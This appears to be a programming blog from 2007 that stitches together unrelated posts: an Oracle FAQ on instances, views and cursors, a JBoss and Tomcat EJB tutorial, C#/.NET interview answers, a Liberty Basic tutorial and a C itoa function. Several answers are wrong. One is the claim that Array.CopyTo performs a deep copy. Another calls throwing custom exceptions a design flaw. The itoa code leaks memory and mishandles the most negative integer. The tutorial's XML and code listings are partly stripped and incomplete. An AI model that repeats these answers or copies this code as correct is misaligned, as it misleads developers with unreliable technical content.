This refers to transforming or changing the characteristics of a signal to make it more suitable for some intended application, usually for transmission from one location to another or for storage onto some medium that is different than the original medium. Coding can improve fidelity, optimize carrier bandwidth, increase essence carriage, improve security or provide error detection and correction.
Monday, April 30, 2007
Oracle FAQ 's
What is an Oracle instance?
Overview of an Oracle Instance
Every running Oracle database is associated with an Oracle instance. When a database is started on a database server (regardless of the type of computer), Oracle allocates a memory area called the System Global Area (SGA) and starts one or more Oracle processes. This combination of the SGA and the Oracle processes is called an Oracle instance. The memory and processes of an instance manage the associated database’s data efficiently and serve the one or multiple users of the database.
The Instance and the Database
After starting an instance, Oracle associates the instance with the specified database. This is called mounting the database. The database is then ready to be opened, which makes it accessible to authorized users.
Multiple instances can execute concurrently on the same computer, each accessing its own physical database. In clustered and massively parallel systems (MPP), the Oracle Parallel Server allows multiple instances to mount a single database.
Only the database administrator can start up an instance and open the database. If a database is open, the database administrator can shut down the database so that it is closed. When a database is closed, users cannot access the information that it contains.
Security for database startup and shutdown is controlled via connections to Oracle with administrator privileges. Normal users do not have control over the current status of an Oracle database.
Q: What is a view?
View
A view is a tailored presentation of the data contained in one or more tables (or other views). Unlike a table, a view is not allocated any storage space, nor does a view actually contain data; rather, a view is defined by a query that extracts or derives data from the tables the view references. These tables are called base tables.
Views present a different representation of the data that resides within the base tables. Views are very powerful because they allow you to tailor the presentation of data to different types of users.
Views are often used to:
• provide an additional level of table security by restricting access to a predetermined set of rows and/or columns of a table • hide data complexity • simplify commands for the user • present the data in a different perspective from that of the base table • isolate applications from changes in definitions of base tables • express a query that cannot be expressed without using a view
What is referential integrity?
Rules governing the relationships between primary keys and foreign keys of tables within a relational database that determine data consistency. Referential integrity requires that the value of every foreign key in every table be matched by the value of a primary key in another table.
What is a cursor? Ans: cursor is a private sql work area used to perform manipulations on data using pl\sql. adv: 1.mainly used for multiple row manipulations and locking columns. note: data which is populated into the cursor is known as active dataset.
cursors are of two types 1.implicit 2.explicit implicit ——— attributes or properties for implicit cursor 1.sql%is open:attribute returns a boolean value stating wether the cursor is open or closed. 2.sql % found: returns boolean value stating whether the record is found in the cursor. 3.sql%notfound : returns a boolean value stating whether the record is not found in the cursor 4.sql %rowcount :returns a pneumeric value stating no.of rows executed in the cursor.
explicit cursors—retrives multiple rows. ************ adv: users can perform locks on th data in the cursor attributes 1.% is open 2.% found 3.% not found 4.% rowcount
Note: DATA which is populated in the cursor is known as active data set.
WE CAN WRITE TWO CURSORS IN ONE PROGRAM
WE CAN WRITE A CURSOR SPECIFYING PARAMETERS
CURSOR WITH UPDATE CLAUSE IS USED TO PERFORM LOCKS ON DATA.
Why Use Sql* Loader in Oracle Database? Answer: The Sql Loader module of the oracle database Management System loads data into an existing ORACLE table from an external files.It is available locally only on CMS and PCs with oracle version 5. Throughout this documentation the CAR database described in Referance A is used for illustration. There are several methods others than using SQL *Loader of inserting data into a table. 1. The Sql insert command may be used from the SQL * Plus module, for Example : insert into CAR values(…) where the values to be inserted into a row of the table are listed inside the parentheses. Dates and Characters data must be Surrounded by single quotes; items are seperated by commas. 2. Sql*Forms allows you to add rows interactively using forms. The forms may contain default values and checks for invalid data. 3. ODL loads the table from a control file and separate fixed format data file. ODL is available on all versions of ORACLE . SQL * Loader is much more flexible than ODL and will eventually supersede it on all systems.
I found this article to pop up the Jfc command and futhur use in net beans so i introduced this articale today in my blog:-
How to create our first Enterprise JavaBean. We will then deploy this EJB on a production class, open source, and free EJB Server; JBoss. JBoss is a really popular EJB Container and is used by quite a lot of organizations World wide. We will thus also learn how to install and run JBoss Server. The client for our EJB will be a JSP page running in a separate Tomcat Server.
This tutorial consists of following topics :
Installing and running JBoss Server Installing, configuring and running Tomcat Server Developing your first Session EJB Deploying this EJB on JBoss Server Creating the client JSP page Running the JSP page Summary i. Installing and Running JBoss Server : You can download JBoss from JBoss web site. Current stable version is 2.4.3. Download it from their web site. Once you have downloaded it, unzip the JBoss zip file into some directory e.g. C:\JBoss. The directory structure should be something like following :
C:\JBoss admin bin client conf db deploy lib log tmp This is it as far as installation of JBoss is concerned. Now to start JBoss with default configuration go to JBoss/bin directory and run the following command at the DOS prompt :
C:\JBoss\bin>run run.bat is a batch file which starts the JBoss Server. Once JBoss Server starts, you should see huge lines of text appearing on your command prompt screen. These lines show that JBoss Server is starting. Once JBoss startup is complete you should see a message like following on your screen :
[Default] JBoss 2.4.3 Started in 0m:11s Well done, you just installed and ran JBoss successfully on your system for the first time. To stop JBoss, simply press Ctrl + C on the command prompt and JBoss will stop, again after displaying huge lines of text.
ii. Installing, Configuring and Running Tomcat Server : First download latest stable release of Tomcat Server from Tomcat web site. Current latest stable release is 4.0.1. If you are on Windows platform then you have the luxury of downloading Tomcat in an executable ( .exe ) format. So from the different types of Tomcat files available for download, select following :
jakarta-tomcat-4.0.1.exe Once download is complete, double click this file to start the process of Tomcat installation. Installation is quite straight forward. During setup if you are running Windows NT/2K/XP, you'll be asked if you want to install it as a service, select 'yes' if you know what as a service is and how to start and stop it. Basically allowing the Tomcat to be installed a service means that you will be able to auto-start Tomcat when Windows starts and secondly Tomcat will run in the background and you won't have to keep one command prompt window open while it is running. Both of these features are great if you are using Tomcat on production machines. During development I will suggest that you don't install Tomcat as a service.
It will also ask you where you want it to be installed. Give it any location you want or simply allow it to be installed on the default location of C:\Program Files\Apache Tomcat 4.0.
Before starting Tomcat, let's first configure it a bit on the next page.
Configuring and Running Tomcat : Create a new folder under the main C:\ drive and name it "Projects". Now create a new sub-folder in the C:\Projects folder and name it "TomcatJBoss". The directory structure should look like following :
C:\Projects TomcatJBoss Now open conf/Server.xml file from within the Tomcat directory where you have installed it. By default this location will be :
C:\Program Files\Apache Tomcat 4.0\conf\server.xml Some where in the middle where you can see multiple tags, add following lines between other tags :
reloadable="true" /> Now save Server.xml file. Go to Start -> Programs -> Apache Tomcat 4.0 -> Start Tomcat, to start Tomcat Server. If everything has been setup correctly, you should see following message on your command prompt.
Starting service Tomcat-Standalone Apache Tomcat/4.0.1 Note: Creating C:\Projects\TomcatJBoss folder and setting up new /jboss context in Tomcat is NOT required as far as accessing EJBs is concerned. We are doing it only to put our JSP client in a separate folder so as not to intermingle it with your other projects. iii. Developing your first Session EJB : As we learned in "An Introduction to Enterprise JavaBeans" article, Session EJBs are responsible for maintaining logic in our J2EE applications. What we did not say in that article was that Session beans are also the simplest EJBs to develop. So that's why our first EJB will be a Session bean.
As you will see in a moment, every EJB class file has two accompanying interfaces and one XML file. The two interfaces are Remote and Home interfaces. Remote interface is what the client gets to work with, in other words Remote interface should contain the methods you want to expose to your clients. Home interface is actually EJB builder and should contain methods used to create Remote interfaces for your EJB. By default Home interface must contain at least one create() method. The actual implementation of these interfaces, our Session EJB class file remains hidden from the clients. The XML file we talked about is named as "ejb-jar.xml" and is used to configure the EJBs during deployment. So in essence our EJB, which we are going to create ( we will call it FirstEJB from now onwards ) consists of following files :
com stardeveloper ejb session First.java FirstHome.java FirstEJB.java META-INF ejb-jar.xml First.java will be the Remote interface we talked about. FirstHome.java is our Home interface and FirstEJB.java is the actual EJB class file. The ejb-jar.xml deployment descriptor file goes in the META-INF folder.
Create a new folder under the C:\Projects folder we had created earlier, and name it as "EJB". Now create new sub-folder under C:\Projects\EJB folder and name it as "FirstEJB". Create a new folder "src" for Java source files in the "FirstEJB' folder. The directory structure should look like following :
C:\Projects TomcatJBoss EJB FirstEJB src Now create directory structure according to the package com.stardeveloper.ejb.session in the "src" folder. If you know how package structure is built, it shouldn't be a problem. Anyhow, the final directory structure should like following :
C:\Projects TomcatJBoss EJB FirstEJB src com stardeveloper ejb session
First.java : Now create a new First.java source file in com/stardeveloper/ejb/session folder. Copy and paste following code in it:
public String getTime() throws RemoteException; } Hit the 'save' button to save First.java source file.
Explanation : First line is the package statement which tells that First interface belongs in the com.stardeveloper.ejb.session package :
package com.stardeveloper.ejb.session; Next two lines are import statements for importing required classes.
import javax.ejb.EJBObject; import java.rmi.RemoteException; Then comes interface declaration line which tells that this is an interface with name "First" which extends an existing interface javax.ejb.EJBObject.
Note: Every Remote interface *must* always extend EJBObject interface. It is a requirement, not an option. public interface First extends EJBObject { Now as I said on the last page, we have to declare methods in Remote interface which we want to be called by the client ( which the client can access and call ). For simplicity, we will only declare a single method, getTime(); which will return a String object containing current time.
public String getTime() throws RemoteException; Notice that there are no {} parenthesis with this method as it has been declared in an interace. Remote interface method's must also throw RemoteException because EJBs are distributed components and during the call to an EJB, due to some network problem, exceptional events can arise, so all Remote interface method's must declare that they can throw RemoteException in Remote interfaces.
FirstHome.java : Let's now create the Home interface for our FirstEJB. Home interface is used to create and get access to Remote interfaces. Create a new FirstHome.java source file in com/stardeveloper/ejb/session package. Copy and paste the following code in it :
public First create() throws CreateException, RemoteException; } Hit the 'save' button to save FirstHome.java source file.
Explanation : First few lines are package and import statements. Next we declare our FirstHome interface which extends javax.ejb.EJBHome interface.
Note: All Home interfaces *must* extend EJBHome interface. public interface FirstHome extends EJBHome { We continue exploring FirstHome.java on the next page.
FirstHome.java : Then we declare a single create() method which returns an instance of First Remote interface. Notice that all methods in Home interfaces as well must also declare that they can throw RemoteException. One other exception that they *must* declare that they can throw is CreateException.
public First create() throws CreateException, RemoteException; We are done with creating Remote and Home interfaces for our FirstEJB. These two are the only things which our client will see, the client will remain absolutely blind as far as the actual implementation class, FirstEJB is concerned.
FirstEJB.java : FirstEJB is going to be our main EJB class. Create a new FirstEJB.java source file in com/stardeveloper/ejb/session folder. Copy and paste following text in it :
public String getTime() { return "Time is : " + new Date().toString(); }
public void ejbCreate() {} public void ejbPassivate() {} public void ejbActivate() {} public void ejbRemove() {} public void setSessionContext(SessionContext context) {} } Hit the 'save' button to save FirstEJB.java source file.
Explanation : First few lines are package and import statements. Next we declare our FirstEJB class and make it implement javax.ejb.SessionBean interface.
Note: All Session bean implementation classes *must* implement SessionBean interface. public class FirstEJB implements SessionBean Our first method is getTime() which had declared in our First Remote interface. We implement that method here in our FirstEJB class. It simply returns get date and time as you can see below :
public String getTime() { return "Time is : " + new Date().toString(); } Then come 5 callback methods which are part of SessionBean interface and since we are implementing SessionBean interface, we have to provide empty implementations of these methods. Later in other articles when will build some really useful Session beans, we will then see some use of these callback methods there, for now we don't need them.
ejb-jar.xml : Let's now create the EJB deployment descriptor file for our FirstEJB Session bean. Create a new ejb-jar.xml file in the FirstEJB/META-INF folder. Copy and paste following text in it :
"http://java.sun.com/j2ee/dtds/ejb-jar_1_1.dtd">
FirstEJB First com.stardeveloper.ejb.session.FirstHome com.stardeveloper.ejb.session.First com.stardeveloper.ejb.session.FirstEJB Stateless Container
First *
Supports
Users users
ejb-jar.xml : One or more EJBs are packaged inside a JAR ( .jar ) file. There should be only one ejb-jar.xml file in an EJB JAR file. So ejb-jar.xml contains deployment description for one or more than one EJBs. Now as we learned in an earlier article, there are 3 types of EJBs so ejb-jar.xml should be able to contain deployment description for all 3 types of EJBs.
Our ejb-jar.xml file for FirstEJB contains deployment description for the only EJB we have developed; FirstEJB. Since it is a Session bean, it's deployment description is contained inside tags.
Now let's discuss different deployment descriptor tags inside the tag. First is the tag. The value of this tag should be name of EJB i.e. any name you think should point to your Session EJB. In our case it's value is "First". Then come , and tags which contain complete path to Home, Remote and EJB implementation classes. Then comes tag whose value is either "Stateless" or "Stateful". In our case it is "Stateless" because our Session bean is stateless. For more info on Stateless and Stateful Session beans, please read "An Introduction to Enterprise JavaBeans" article. Last tag is , whose value can be either "Container" or "Bean". We will learn more about transactions in another article, for now it is sufficient to say that the transactions for our FirstEJB will be managed by the container.
FirstEJB First com.stardeveloper.ejb.session.FirstHome com.stardeveloper.ejb.session.First com.stardeveloper.ejb.session.FirstEJB Stateless Container
Then there is a tag which tells that all methods of FirstEJB "support" transactions. We will learn more about these tags and ejb-jar.xml as we continue to learn more about transactions and security in EJB environment in other articles. For now let's move forward.
Compiling the EJB Java source files : Our directory and file structure till now looks something like following :
C:\Projects TomcatJBoss EJB FirstEJB src com stardeveloper ejb session First.java FirstHome.java FirstEJB.java META-INF ejb-jar.xml You can compile all the Java source file by using a command like following on the command prompt :
C:\Projects\EJB\FirstEJB\src\com\stardeveloper\ejb\session> javac -verbose -classpath %CLASSPATH%;C:\JBoss\client\jboss-j2ee.jar -d C:\Projects\EJB\FirstEJB *.java Note: The point to remember is to make sure jboss-j2ee.jar ( which contains J2EE package classes ) in the CLASSPATH, or you will get errors when trying to compile these classes. If you have installed JBoss Server in a separate directory then substitute the path to jboss-j2ee.jar with the one present on your system. The point is to put jboss-j2ee.jar in the CLASSPATH for the javac, so that all EJB source files compile successfully.
On the next page we will learn how to package these .class files and .xml file into an easy to deploy JAR file.
Packaging EJB source files into a JAR file : Till now our directory and file structure should look something like following :
C:\Projects TomcatJBoss EJB FirstEJB com stardeveloper ejb session First.class FirstHome.class FirstEJB.class META-INF ejb-jar.xml src com stardeveloper ejb session First.java FirstHome.java FirstEJB.java Now to package the class files and XML descriptor file together, run the following command at the command prompt :
C:\Projects\EJB\FirstEJB>jar cvfM FirstEJB.jar com META-INF Running this command should produce an EJB JAR file with the name of FirstEJB.jar in the FirstEJB folder. But there is one thing still left to be done.
Adding JBoss specific configuration file : Till now our FirstEJB.jar file contains generic EJB files and deployment description. To run it on JBoss we will have to add one other file into the META-INF folder of this JAR file, called jboss.xml. This file contains the JNDI mapping of FirstEJB.
So create a new jboss.xml file in the FirstEJB/META-INF folder where ejb-jar.xml file is present. Copy and paste the following text in it :
"http://www.jboss.org/j2ee/dtd/jboss.dtd"> First ejb/First
To add this new jboss.xml file into our existing FirstEJB.jar file, run the following command at the DOS prompt :
C:\Projects\EJB\FirstEJB>jar uvfM FirstEJB.jar META-INF Now our FirstEJB.jar is ready to be deployed to the JBoss Server.
iv. Deploying FirstEJB.jar on JBoss Server : Deploying EJBs on JBoss is as easy as copying the FirstEJB.jar file and pasting it into the C:\JBoss\deploy folder. If JBoss is running, you should see text messages appearing on the console that this EJB is being deployed and finally deployed and started. As simple as that.
v. Creating the client JSP page : Create new WEB-INF folder in C:\Projects\TomcatJBoss folder. Now create a new web.xml file and copy/paste following text in it :
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/j2ee/dtds/web-app_2.3.dtd">
As you can see, this web.xml is almost empty and is not doing anything useful. We still created it because Tomcat will throw an error if you try to access this /jboss context that we had created earlier without creating a /WEB-INF/web.xml file.
firstEJB.jsp JSP Client page : Create a new JSP page in the C:\Projects\TomcatJBoss folder and save it as "firstEJB.jsp". Now copy and paste the following code in it :
Context ctx = new InitialContext(props); FirstHome home = (FirstHome)ctx.lookup("ejb/First"); First bean = home.create(); String time = bean.getTime(); bean.remove(); ctx.close(); long t2 = System.currentTimeMillis(); %>
Message received from bean = "<%= time %>". Time taken : <%= (t2 - t1) %> ms.
Hit the 'save' button to save the firstEJB.jsp JSP page.
Explanation : As you can see the code to connect to an *external* JNDI/EJB Server is extremely simple. First we create a Properties object and put certain values for Context.INITIAL_CONTEXT_FACTORY and Context.PROVIDER_URL properties. The value for Context.INITIAL_CONTEXT_FACTORY is the interface provided by JBoss and the value for Context.PROVIDER_URL is the location:port number where JBoss is running. Both of these properties are required to connect to an *external* JNDI Server.
Properties props = new Properties(); props.put(Context.INITIAL_CONTEXT_FACTORY, "org.jnp.interfaces.NamingContextFactory"); props.put(Context.PROVIDER_URL, "localhost:1099"); We then get hold of that external JNDI Context object by creating a new InitialContext() object, it's argument being the Properties object we had created earlier.
Context ctx = new InitialContext(props); Next we use that external JNDI Context handle to lookup our FirstEJB running on JBoss. Notice that the argument to Context.lookup("ejb/First") is the same value we had put in the jboss.xml file to bind our FirstEJB to this name in the JNDI context. We use that same value again to look for it. Once our lookup is successful, we cast it to our FirstHome Home interface.
FirstHome home = (FirstHome)ctx.lookup("ejb/First"); We then use create method of our FirstHome Home interface to get an instance of the Remote interface; First. We will now use the methods of our EJB's remote interface ( First ).
First bean = home.create(); We then call the getTime() method we had created in our EJB to get the current time from JBoss Server and save it in a temporary String object.
String time = bean.getTime(); Once we are done with our Session EJB, we use the remove method to tell the JBoss Server that we no longer need this bean instance. Next we also close the external JNDI Context.
bean.remove(); ctx.close(); We then display this retrieved value from getTime() method on the user screen.
vi. Running the JSP page : Before trying to run firstJSP.jsp page, we have to do one other thing. Copy following files from C:\JBoss\client folder and paste them in the C:\Projects\TomcatJBoss\WEB-INF\lib folder. It is a must, without it firstEJB.jsp page will not run.
connector.jar deploy.jar jaas.jar jboss-client.jar jboss-j2ee.jar jbossmq-client.jar jbosssx-client.jar jndi.jar jnp-client.jar You will also copy the FirstEJB.jar file from C:\Projects\EJB\FirstEJB folder to the C:\Projects\TomcatJBoss\WEB-INF\lib folder. Without it the Tomcat will not be able to compile firstEJB.jsp JSP page.
We are now ready to run our firstEJB.jsp page. Mover over to the last page of this tutorial, the next page.
Running firstEJB.jsp JSP page : Now start JBoss Server if it is not already running. Also start Tomcat Server. If it is already running, then stop it and restart it again. Open your browser and access following page :
http://localhost:8080/jboss/firstEJB.jsp Please substitute port number "8080" above with the port number where your Tomcat Server is running. By default it is "8080". If you have done everything as was described in this article, then you should see a result like following :
Fig - firstEJB.jsp Client View
Note: Since we are not running Tomcat/JBoss combination on Stardeveloper, I could not provide an online demo for this tutorial. But one thing I can tell you is that this is all very easy and there is no reason why you should not be able to run it on your own system. Summary : In this tutorial we were able to learn what comprises an Enterprise JavaBean and how to develop and deploy an EJB. We created an EJB, deployed it on JBoss Server and called it from a JSP page running on Tomcat Server in a separate process.
We also learned how to install and configure JBoss and Tomcat Servers. JBoss/Tomcat is a pretty popular combination now a days as quite a few sites are using it. If you don't like Tomcat, don't worry there is another very good Web container which supports latest JSP 1.2 and Servlets 2.3 specifications; Resin. Resin is an extremely fast server and having personal experience with it, I can say that Orion and Resin are two of the fastest Servers around. So if you want to substitute Resin with Tomcat for this tutorial ( or in your production web site ), you can easily do so. And as I have tested, you won't have to change a single line of code or change any configuration settings in the EJB and JSP pages that we have made.
Since it would have been your first EJB, I wanted to take as much time ( without wasting it of course ;) ) as possible to describe things in detail. I hope if you followed everything, you should be able to run it successfully on your system. Just in case if it didn't work out for you, try doing it again and pay attention to every step so that you don't leave anything.
What’s the advantage of using System.Text.StringBuilder over System.String? StringBuilder is more efficient in the cases, where a lot of manipulation is done to the text. Strings are immutable, so each time it’s being operated on, a new instance is created.
Can you store multiple data types in System.Array? No. What’s the difference between the System.Array.CopyTo() and System.Array.Clone()? The first one performs a deep copy of the array, the second one is shallow. How can you sort the elements of the array in descending order? By calling Sort() and then Reverse() methods. What’s the .NET datatype that allows the retrieval of data by a unique key? HashTable. What’s class SortedList underneath? A sorted HashTable. Will finally block get executed if the exception had not occurred? Yes. What’s the C# equivalent of C++ catch (…), which was a catch-all statement for any possible exception? A catch block that catches the exception of type System.Exception. You can also omit the parameter data type in this case and just write catch {}. Can multiple catch blocks be executed? No, once the proper catch code fires off, the control is transferred to the finally block (if there are any), and then whatever follows the finally block. Why is it a bad idea to throw your own exceptions? Well, if at that point you know that an error has occurred, then why not write the proper code to handle that error instead of passing a new Exception object to the catch block? Throwing your own exceptions signifies some design flaws in the project. What’s a delegate? A delegate object encapsulates a reference to a method. In C++ they were referred to as function pointers. What’s a multicast delegate? It’s a delegate that points to and eventually fires off several methods. How’s the DLL Hell problem solved in .NET? Assembly versioning allows the application to specify not only the library it needs to run (which was available under Win32), but also the version of the assembly. What are the ways to deploy an assembly? An MSI installer, a CAB archive, and XCOPY command. What’s a satellite assembly? When you write a multilingual or multi-cultural application in .NET, and want to distribute the core application separately from the localized modules, the localized assemblies that modify the core application are called satellite assemblies. What namespaces are necessary to create a localized application? System.Globalization, System.Resources. What’s the difference between // comments, /* */ comments and /// comments? Single-line, multi-line and XML documentation comments. How do you generate documentation from the C# file commented properly with a command-line compiler? Compile it with a /doc switch. What’s the difference between and XML documentation tag? Single line code example and multiple-line code example. Is XML case-sensitive? Yes, so and are different elements. What debugging tools come with the .NET SDK? CorDBG – command-line debugger, and DbgCLR – graphic debugger. Visual Studio .NET uses the DbgCLR. To use CorDbg, you must compile the original C# file using the /debug switch. What does the This window show in the debugger? It points to the object that’s pointed to by this reference. Object’s instance data is shown. What does assert() do? In debug compilation, assert takes in a Boolean condition as a parameter, and shows the error dialog if the condition is false. The program proceeds without any interruption if the condition is true. What’s the difference between the Debug class and Trace class? Documentation looks the same. Use Debug class for debug builds, use Trace class for both debug and release builds. Why are there five tracing levels in System.Diagnostics.TraceSwitcher? The tracing dumps can be quite verbose and for some applications that are constantly running you run the risk of overloading the machine and the hard drive there. Five levels range from None to Verbose, allowing to fine-tune the tracing activities. Where is the output of TextWriterTraceListener redirected? To the Console or a text file depending on the parameter passed to the constructor. How do you debug an ASP.NET Web application? Attach the aspnet_wp.exe process to the DbgClr debugger. What are three test cases you should go through in unit testing? Positive test cases (correct data, correct output), negative test cases (broken or missing data, proper handling), exception test cases (exceptions are thrown and caught properly). Can you change the value of a variable while debugging a C# application? Yes, if you are debugging via Visual Studio.NET, just go to Immediate window. Explain the three services model (three-tier application). Presentation (UI), business (logic and underlying code) and data (from storage or other sources). What are advantages and disadvantages of Microsoft-provided data provider classes in ADO.NET? SQLServer.NET data provider is high-speed and robust, but requires SQL Server license purchased from Microsoft. OLE-DB.NET is universal for accessing other sources, like Oracle, DB2, Microsoft Access and Informix, but it’s a .NET layer on top of OLE layer, so not the fastest thing in the world. ODBC.NET is a deprecated layer provided for backward compatibility to ODBC engines. What’s the role of the DataReader class in ADO.NET connections? It returns a read-only dataset from the data source when the command is executed. What is the wildcard character in SQL? Let’s say you want to query database with LIKE for all employees whose name starts with La. The wildcard character is %, the proper query with LIKE would involve ‘La%’. Explain ACID rule of thumb for transactions. Transaction must be Atomic (it is one unit of work and does not dependent on previous and following transactions), Consistent (data is either committed or roll back, no “in-between” case where something has been updated and something hasn’t), Isolated (no transaction sees the intermediate results of the current transaction), Durable (the values persist if the data had been committed even if the system crashes right after). What connections does Microsoft SQL Server support? Windows Authentication (via Active Directory) and SQL Server authentication (via Microsoft SQL Server username and passwords). Which one is trusted and which one is untrusted? Windows Authentication is trusted because the username and password are checked with the Active Directory, the SQL Server authentication is untrusted, since SQL Server is the only verifier participating in the transaction. Why would you use untrusted verificaion? Web Services might use it, as well as non-Windows applications. What does the parameter Initial Catalog define inside Connection String? The database name to connect to. What’s the data provider name to connect to Access database? Microsoft.Access. What does Dispose method do with the connection object? Deletes it from the memory. What is a pre-requisite for connection pooling? Multiple processes must agree that they will share the same connection, where every parameter is the same, including the security settings.
What should i do with Liberty Basic? Follow my advice, simply delete all the files and start playing Counter-Strike or any other computer games. Just kidding.
############# Note that this tutorial is not a complete documentation of the whole instructions set provided by Liberty Basic. I'm covering the important parts only. #############
******* OverView *******
Let's start with the basic instruction. The [print], [end] ['] and [input] intructions. I will also introduce to you types of variables and the important fact and weakness that you MUST know.
******* THE PRINT COMMAND *******
# Using the [print], you can display text on your screen. Displaying Text on a screen is known as "Drawing Text" and not "Writing Text". Why "Drawing Text"?. It is because of the fact that, when you put something on a screen you have to coordinate each pixels [ Picture Element ] at appropriate coordinates in order to display the text. All of these complicated and mind-boggling operations are done without you realizing it. Cool, isn't it?
Okay, the[print] function allows programmers to display text on the screen. What's the point of displaying text on the screen?. Consider this, you are a programmer, and you want to inform the user to type in his/her name. How are you gonna tell the user if you are located a thousand miles a way from where the user is. Thus, [print] was born. The function of this instruction is, it simply draws the text that you specify. Now the usage -
print "Put some text here and end the text with double quotes."
******* THE END COMMAND *******
# The [end] instruction simply finishes the execution of your program. If you don't put the [end] instruction, the execution of your program will not finish or stop completely and there might be some problems that you might encounter later. Note that if you want to code Functions or Subroutines, you must code them after the [end] instruction. We'll discuss Functions and Subroutines in some other tutorials. The usage -
Some codes here. end
******* THE ' COMMAND *******
# Note that if a sentence is started with a ['] single quote. The sentence that follows will become a comment. A comment is simply a text that explains about your program. The sentence which is started by a ['] single quote will be ignoBrown by the compiler. Even if you write an intruction like this - 'print "Hi" - the compiler will ignore the intruction and does not do anything on the screen [The "Hi" is not drawn onto the screen]. A comment is useful for explaining - What are you doing? - Why i put this? - Where does this thing comes from?. All the questions will rise when you reopen you source codes after a loooooooong holidays. Do you understand? The usage -
'This is a comment
******* THE INPUT COMMAND *******
# The [input] command is very useful in the case of fetching information from the user. Now, let's say your program needs the username in order to function properly. How are you gonna ask the user for his/her name. To solve this problem, [input] command was created. The input function has two abilities. The first ability - it can inform the user by giving some details or intructions just like the [print] command. The second ability - it can fetch information from the user and stores it in a variable. The usage -
input "Type in your name, please ---> " ; name$ *Note - The [name$] - String Variable will be explained later. *The semicolon is important to differentiate a variable and the text - "Type in *your name, please ---> ".
******* VARIABLE TYPES *******
# There are two main types of variable. String Variable and the Numeric Variable. It's very easy to distinguish a Numeric Variable and a String Variable. A String Variable must always end with a "$" dollar sign. Numeric value does not have any sign. The String Variable holds as array of characters. It can also hold a character. What are characters? Characters are the standard ASCII characters [It can be a symbol, number and even letters and takes one byte of data]. Each ASCII code represents a character. If you don't specify the type of your variable, the compiler won't know what to do with the ASCII code. If you specify you variable, let's say a String Type Variable, the compiler will automatically convert the ASCII code to the correct character. Like for instance - ASCII code 97 [Base 10] - let's say you have a Numeric Type Variable, the ASCII code 97 will be treated as numeric value. That is 97 and you can perform normal arithmetic on it. But, if you have a String Type Variable, then the ASCII code 97 will be treated as a character - "a".You cannot perform any arithmetic operation on it. However, you can perform string manipulation on it. There are two built-in functions which can convert numeric value to string and string to numeric value. The functions name are Str$ and Val. Check the documentation of the functions in the Help File.
[color=blue]name$ = "Hello" number = 1
*We use the '=' equal sign to assign a value to the variable. *Look at how string's ["Hello"] are used and assigned to the name$ variable. *Also, look at the difference between the Numeric Variable and the String Variable. *You must NOT use a double quote when assigning value to Numeric Variables. *You must use double quotes when assigning value to String Variables. *Check out the usage of the two built-in functions ---:
number = 1
name$ = Str$(number) number = Val(name$)
*The number variable contains the value 1. Then, we use the Str$(numeric value) to *convert the numeric value 1 to string value "1" and stores the result in name$ *variable. *Next, we convert back the value in the name$ variable which is a string --> "1", *into numeric value --> 1. *Tip - Think that values in numeric variables are ASCII codes and values in String *Variables are ASCII characters. Remember, ASCII codes are less than 256 [Base 10].
ASCII CODES ----- ASCII CHARACTERS 97 a 98 b ... ...
******* VARIABLE TYPES - WEAKNESS *******
# There is one very big weakness in Liberty Basic. In order to make Liberty Basic easy to use and program, the developers have given the programmer a chance to not declare a variable before using it. That means, you can simple create a variable and use it in your program. There is one weakness for this advantage. If you have a variable named as --- name$. Somewhere in you program you want to display the String Value stoBrown in the Variable - [name$] - What if you accidentally write like this -
print nam$ *You mistyped.
The program will work but you won't get the expected result. You see, this is a big problem. But, sometimes Liberty Basic can detect this and will warn you. Don't worry, you'll get use to this problem. Anyway, it's a good thing that you don't have to declare a variable when you want to use it. Liberty is powerful, if you know how to use it. I did demonstrate the capabilities of Liberty Basic by authoring two KeyGen's for CiM Crackme in Tutorial 1.
# Now copy the source code and paste it in your Liberty Basic Editor.
'This is a comment
print "Hello World! I'm a programmer."
input "Type in your name, please --> " ; name$ 'The name$ Variable is a String Type. It will hold Alphanumerics. input "Type in you age, please --> " ; age 'The age Variable is a Numeric Type. It will only hold numbers only. print 'Use a empty [print] command to leave a blank line print "This is your name - " ; name$ ; " and your age - " ; age 'Alternatively, you can code like this - [Look Below] print "This is your name - " + name$ + " and your age - " + Str$(age) 'Replace semicolon with a + sign. There is one disadvantage. You must 'convert the value in Numeric Variable into String Type. 'Never replace the semicolon in the input command with the + sign. 'Try to replace it and see what kind of error do you get. end
Implement itoa C++ Implementing itoa function is a popular interview question. Here’s one implementation from SAP.
char *itoa(int value) { int count, /* number of characters in string */ i, /* loop control variable */ sign; /* determine if the value is negative */ char *ptr, /* temporary pointer, index into string */ *string, /* return value */ *temp; /* temporary string array */
count = 0; if ((sign = value) < 0) /* assign value to sign, if negative */ { /* keep track and invert value */ value = -value; count++; /* increment count */ }
/* allocate INTSIZE plus 2 bytes (sign and NULL) */ temp = (char *) malloc(INTSIZE + 2); if (temp == NULL) { return(NULL); } memset(temp,'\0', INTSIZE + 2);
string = (char *) malloc(INTSIZE + 2); if (string == NULL) { return(NULL); } memset(string,'\0', INTSIZE + 2); ptr = string; /* set temporary ptr to string */
/*--------------------------------------------------------------------+ | NOTE: This process reverses the order of an integer, ie: | | value = -1234 equates to: char [4321-] | | Reorder the values using for {} loop below | +--------------------------------------------------------------------*/ do { *temp++ = value % 10 + '0'; /* obtain modulus and or with '0' */ count++; /* increment count, track iterations*/ } while (( value /= 10) >0);
if (sign < 0) /* add '-' when sign is negative */ *temp++ = '-';
*temp-- = '\0'; /* ensure null terminated and point */ /* to last char in array */
/*--------------------------------------------------------------------+ | reorder the resulting char *string: | | temp - points to the last char in the temporary array | | ptr - points to the first element in the string array | +--------------------------------------------------------------------*/ for (i = 0; i < count; i++, temp--, ptr++) { memcpy(ptr,temp,sizeof(char)); }
return(string); }
